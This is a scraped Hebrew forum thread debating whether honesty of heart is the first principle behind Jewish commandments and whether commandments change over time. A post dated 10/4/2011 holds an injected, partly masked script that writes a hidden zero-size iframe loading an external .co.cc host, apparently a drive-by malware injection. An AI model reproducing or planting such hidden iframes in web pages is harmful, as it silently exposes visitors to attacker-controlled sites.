בית פורומים עצור כאן חושבים

האם יש לחפש מצווה ראשונה?

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-30/3/2011 23:50 לינק ישיר 
האם יש לחפש מצווה ראשונה?

לדעתי, יושר-לב (היינו כנות עצמית, שאדם לא משקר בנפשו, אלא "דובר אמת בלבבו" ) הוא העיקרון הראשון שאמור להנחות את האדם.
המצוות מתעדכנות עם הזמן, וגם במצבים שונים ביצוע אותה מצווה אמור להיות שונה, ומצבים כאלה – ואין ספור.
ברם דבר ראשון לניווט בים הזה הוא יושר לב, והוא שנקרא קול השם.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דווח על תוכן פוגעני

מנותק
נשלח ב-10/4/2011 12:45 לינק ישיר 

מיימוני כתב:
אז הסכמנו שעבודה על מידת האמת היא חיונית. אבל זה תנאי הכרחי ולא מספיק?

טול איקון ירוק וירטואלי (הייד פארק ביטלו את האמיתי, וראה בלכסיקון הפורום). ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

תמיד יהיה צורך ב-"בְּזֵעַת אַפֶּיךָ, תֹּאכַל לֶחֶם". אם על זה התכוונת?


לגבי איקון ירוק אינני יודע, זה חיוני?

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-10/4/2011 12:27 לינק ישיר 

maxmen כתב:
יש אמת אחת ויחידה לשאוף שיהיה טוב לנו ולזולתינו, מכאן כל שינויי החוקים בחברה ובתורה,
וזה עומק דבריהם שבסוף יבטלו רוב המצוות, כי המוסר יהיה כבר חקוק בלבינו

מה זה טוב, לדעתך?
מה שטוב לנו, לפעמים לא נראה טוב לזולתנו.
איזו מצווה, לדוגמה, תתבטל?
גם עכשיו גונבים גם אלה שברור להם וחקוק בליבם כי לא טוב לגנוב.
אנשים לא יכולים להיות בלתי חוטאים, לכן צורך במשפט יהיה תמיד, וחוקים-מצוות אתו.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-8/4/2011 01:16 לינק ישיר 

ינוח כתב:
לאמת, maxmen


יש אמת אחת ויחידה לשאוף שיהיה טוב לנו ולזולתינו, מכאן כל שינויי החוקים בחברה ובתורה,
וזה עומק דבריהם שבסוף יבטלו רוב המצוות, כי המוסר יהיה כבר חקוק בלבינו



דדווח על תוכן פוגעני

מנותק
נשלח ב-8/4/2011 00:35 לינק ישיר 

ינוח

תודה.

אז הסכמנו שעבודה על מידת האמת היא חיונית. אבל זה תנאי הכרחי ולא מספיק?

טול איקון ירוק וירטואלי (הייד פארק ביטלו את האמיתי, וראה בלכסיקון הפורום).

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-7/4/2011 22:27 לינק ישיר 

צענערענע כתב:
לינוח

והרי אחרי המעשים נמשכים הלבבות.


אם כוונתך היא - "וְלֹא-תָתוּרוּ אַחֲרֵי לְבַבְכֶם", אז כדי לקבל את המילים האלה ולהגשימן, גם כן דרוש יושר לב תחילה. כדאי לא להגיע לגיהינום בדרך רצופה כוונות "טובות".

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-7/4/2011 22:17 לינק ישיר 

מיימוני כתב:

ולכן יש לשאול: באיזה אופן היא ראשונה?


לדעתי, לכל טענותיך מ-א. עד ה. יש לענות בחיוב. אחת לא סותרת את שנייה.

***מהו יושר לב?***
מהו לא משקר בנפשו?
זהו זה.

***ואז השאלה היא אם זה בכלל באפשר***.
השאלה נכונה, בלתי אפשרי במלואו, אבל חובה להשתדל.

***מה עם חכמה וידיעה, עם רגשות חיוביים ומעשים?***
המוח הוא אחד האיברים לגוף כמו יד או רגל, אם כי אין האדם יכול לחיות בלעדיו (אפשר לדמות את המוח ל"מחשב חי", כמו כף יד לכף מחפרון). והמוח גם כן כמו היד, פועל על פי הנפש. אם האדם משקר לנפשו, אז הוא פוגע במוחו, מביא את הסכלות על עצמו ומונע את השכל מראות את הדברים על אמיתותם.

***אך מה נעשה למי שסבור שהמצוות יש להן תכליות נוספות, או אחרות? כגון לשרת את ה' בלי לשאול מדוע, או להביא לתיקון החברה והעולם, או לתקן עולמות עליונים?***
"כבד את אביך..." אפשר להבין, לדעתי, בלי שאלות מיותרות, אלא לתקן החברה ועולם, יש לשאול איך.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-7/4/2011 21:23 לינק ישיר 

אבי_בלום כתב:
אתה כותב ''מצוות מתעדכנות עם הזמן'' למה כוונתך?

לדוגמה, פעם היה מותר ריבוי נשים ועכשיו אסור.אודה לך אם תמשיך דוגמאות.

יש כוונה לבנייה מחדש את בית המקדש ואז לא יהיה תרוץ לכאורה מהחזרת מיתות בית דין בצורות – עופרת רותחת לגרון, סקילה, הרג בחרב. גם לעבדוּת אין איסור בהלכה, ויש חולמים על הזמן שירכשו "עבדים כנענים". משקמים עכשיו את הסנהדרין, אולי הוא יחזיר 39 מלקות? האם עולה על הדעת שחלומות אלה כפשוטם יובילו את העם ולאן?

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-7/4/2011 21:14 לינק ישיר 

רדףהשיג כתב:
לדעתי, יושר-לב (היינו כנות עצמית, שאדם לא משקר בנפשו, אלא "דובר אמת בלבבו" ) הוא העיקרון הראשון שאמור להנחות את האדם.


והביסוס שלך לעקרון זה הוא ..?  

הביסוסים אפשר למצוא, אלא הביסוס העקרי הוא יושר לבי.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-7/4/2011 21:12 לינק ישיר 

maxmen כתב:
הסכמת?

איך אני יכול להסכים שלא הבנתי לאן אתה חותר,

_________________



לאמת, maxmen

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-31/3/2011 11:42 לינק ישיר 

לינוח

והרי אחרי המעשים נמשכים הלבבות.




דדווח על תוכן פוגעני

מחובר
נשלח ב-31/3/2011 11:34 לינק ישיר 

איני יודע אם יש מקור מפורש לרעיון- אבל יש אסמכתא מרומזת.

 וּלְכֹל בְּנֵי יִשְׂרָאֵל לֹא יֶחֱרַץ כֶּלֶב לְשֹׁנוֹ  לא יחרץ= לא יחלק  כ -לב- לשונו 




דדווח על תוכן פוגעני

מנותק
נשלח ב-31/3/2011 08:34 לינק ישיר 

רדף

מילכדת את ינוח.

אם יש מצוה ראשונה, אין לה מצוה קודמת שהיא יכולה להתבסס עליה.

המבחן הוא אם היא אכן נושאת עליה את כל השאר.

ולכן יש לשאול: באיזה אופן היא ראשונה?

א. מצד הזמן. לאחר שמקיימים אותה אפשר לגשת לאחרות.

ב. בתור תנאי. בלעדיה אין מאומה.

ג. כהכנה. לאחר שאדם זוכה למעלה זו, הוא יכול לקיים אחרות.

ד. כליווי. כל מצוה ומצוה אחרת צריכה להתקיים במקביל לזו.

ה. חשובה מכולן. הכל מוליך לקראתה והיא התכלית.

נראה שאפשר לסכם את הרשימה בשלושה סעיפים: קדימות בזמן, קדימות בחשיבות, קדימות כתנאי ובסיס.

וגם כאן הראשון והשלישי קרובים מאד זה לזה.

יש אם כן להציג לינוח את השאלה לאיזו מן המשמעויות הוא מכוון.

ויותר מכך:

מהו יושר לב?

שמא הכוונה היא למודעות עצמית ולכך שהאדם לא ישקר לעצמו.

ואז השאלה היא אם זה בכלל באפשר.

כלל בפסיכולוגיה טיפולית הוא שאין מציגים לאדם את עצמו עם חסרונותיו אלא אם כן הוא מסוגל לתקנם. וגם אז אין עושים זאת בבת אחת.

מבחינה מסויימת, תורתו של ר' נחמן מברסלב באה לסייע לאדם לנוכח העול הכבד של רגשות אשמה וחוסר תיפקודיות שיש לנו מעצמנו.

אם היושר הוא להכיר רק בחסרונות, אז אין אדם מסוגל לזה.

כמובן, היושר הוא להכיר גם במעלות. וגם בכך שאחריותנו לעצמנו מוגבלת, ואנו אמורים להתקדם אט אט ולשפר את עצמנו.

אבל עד לאיזה עומק מגיע היושר. לדוגמא, עד כמה עלי לחפש, או לחטט, בין המניעים שלי כאשר אני מקיים מצוות.

הזכרתי כמה נקודות בראשי פרקים, אך דומה שעליהם צריך להתבסס ההסבר מדוע יושר לב הוא תנאי ומעלה שאין בלעדיהם. 

עוד יש לשאול לפי איזה מיון קבע ינוח מה שקבע. אם התכלית של המצוות היא בנית אדם מעולה יותר, אז יש בהחלט חשיבות ליושר לב. ושוב, לא ברור שזו המעלה היחידה והראשית. מה עם חכמה וידיעה, עם רגשות חיוביים ומעשים? 

אך מה נעשה למי שסבור שהמצוות יש להן תכליות נוספות, או אחרות? כגון לשרת את ה' בלי לשאול מדוע, או להביא לתיקון החברה והעולם, או לתקן עולמות עליונים?

כמדומה שהכרזתו של ינוח היא חשובה מאד, אבל טעונה הסבר מקיף מכל הצדדים האלו. ומעתה אין לנו אלא להמתין שיגיע וימשיך.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-31/3/2011 08:27 לינק ישיר 

ינוח כתב:
לדעתי, יושר-לב (היינו כנות עצמית, שאדם לא משקר בנפשו, אלא "דובר אמת בלבבו" ) הוא העיקרון הראשון שאמור להנחות את האדם.
המצוות מתעדכנות עם הזמן, וגם במצבים שונים ביצוע אותה מצווה אמור להיות שונה, ומצבים כאלה – ואין ספור.
ברם דבר ראשון לניווט בים הזה הוא יושר לב, והוא שנקרא קול השם.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה



אתה כותב ''מצוות מתעדכנות עם הזמן'' למה כוונתך?
כידוע לי ישנם מצוות שהזמן גרמן, אך מעבר לחיוב בקיום הזמן.
אין לזמן שינוי מהותי לשנות את מהות המצוה ופרטיה.

שנית לא הבנתי אם אתה מנסה לדבר על מצוה ספציפית?
או על כל המצוות בכללותן?
או שבעצם כוונתך מדברת בעד המצוה המכונה ''מצוה'' בפי שחורי התורה מפאת הצניעות,
המיוחסת לקיום מצוות פריה וריביה?



דדווח על תוכן פוגעני

מחובר
נשלח ב-31/3/2011 00:50 לינק ישיר 

ינוח כתב:
לדעתי, יושר-לב (היינו כנות עצמית, שאדם לא משקר בנפשו, אלא "דובר אמת בלבבו" ) הוא העיקרון הראשון שאמור להנחות את האדם.


והביסוס שלך לעקרון זה הוא ..?




תוקן על ידי רדףהשיג ב- 31/03/2011 01:04:39




דדווח על תוכן פוגעני

מחובר
נשלח ב-31/3/2011 00:20 לינק ישיר 

ינוח כתב:
הסכמת?


איך אני יכול להסכים שלא הבנתי לאן אתה חותר,

_________________





דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > האם יש לחפש מצווה ראשונה?
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 לדף הבא סך הכל 2 דפים.

bholext